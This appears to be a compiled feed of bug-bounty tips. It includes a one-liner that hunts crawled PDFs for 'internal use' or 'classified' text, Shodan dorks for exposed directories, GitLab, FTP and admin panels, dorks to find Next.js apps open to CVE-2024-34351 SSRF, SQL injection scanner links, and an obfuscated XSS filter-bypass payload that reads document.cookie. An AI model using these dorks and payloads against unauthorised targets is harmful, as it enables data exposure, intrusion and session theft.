♨️One-liner to find sensitive PDF file♨️

for i in `cat apex-domains.txt | gau --subs --threads 16 | grep -Ea '\.pdf' | httpx -silent -mc 200`; do if curl -s "$i" | pdftotext -q - - | grep -Eaiq 'internal use|classified'; then echo $i; fi; done

🚨Gourlex🚨

📢It is a simple tool that can be used to extract URLs and paths from web pages. It can be helpful during web application assessments to uncover additional targets.

🔗Link https://github.com/trap-bytes/gourlex

shodan dorks for recon :

1. http://ssl.cert.subject.CN:"*.target.com" http.noscript:"index of/"

2. http://ssl.cert.subject.CN:"*.target.com" http.noscript:"gitlab"

3. http://ssl.cert.subject.CN:"*. http://target.com" http.noscript:"gitlab"

4. http://ssl.cert.subject.CN:"*.target.com" "230 login successful" port:"21"

5. http://ssl.cert.subject.CN:"*. http://target.com" +200 http.noscript:"Admin"

🚨CVE-2024-34351:Next.js SSRF in Server Actions🚨

📢 Security researchers at Assetnote have identified a SSRF vulnerability in Next.js Server Actions. If the Host header is modified, and certain conditions are met, an attacker may be able to make requests that appear to be originating from the Next.js application server itself.

📝Dorks--->
Hunter:/product.name="Next.js"
FOFA:app="Next.js"
SHODAN:http.component:"Next.js"

🔗PoC: https://lnkd.in/gKbjiHVY

⚠Stay vigilant and take necessary precautions to protect your applications.

🚨SQLMC - SQL Injection Massive Checker🚨

📢SQLMC (SQL Injection Massive Checker) is a tool designed to scan a domain for SQL injection vulnerabilities. It crawls the given URL up to a specified depth, checks each link for SQL injection vulnerabilities, and reports its findings.

🔗Download https://github.com/malvads/sqlmc

Bypass XSS Filter with Array

Payload :

<nonoscript><p noscript="</nonoscript><img src=x onerror=([,O,B,J,E,C,,]=[]+{},[T,R,U,E,F,A,L,S,,,N]=[!!O]+!O+B.E)[X=C+O+N+S+T+R+U+C+T+O+R][X](A+L+E+R+T+(document.cookie))()>">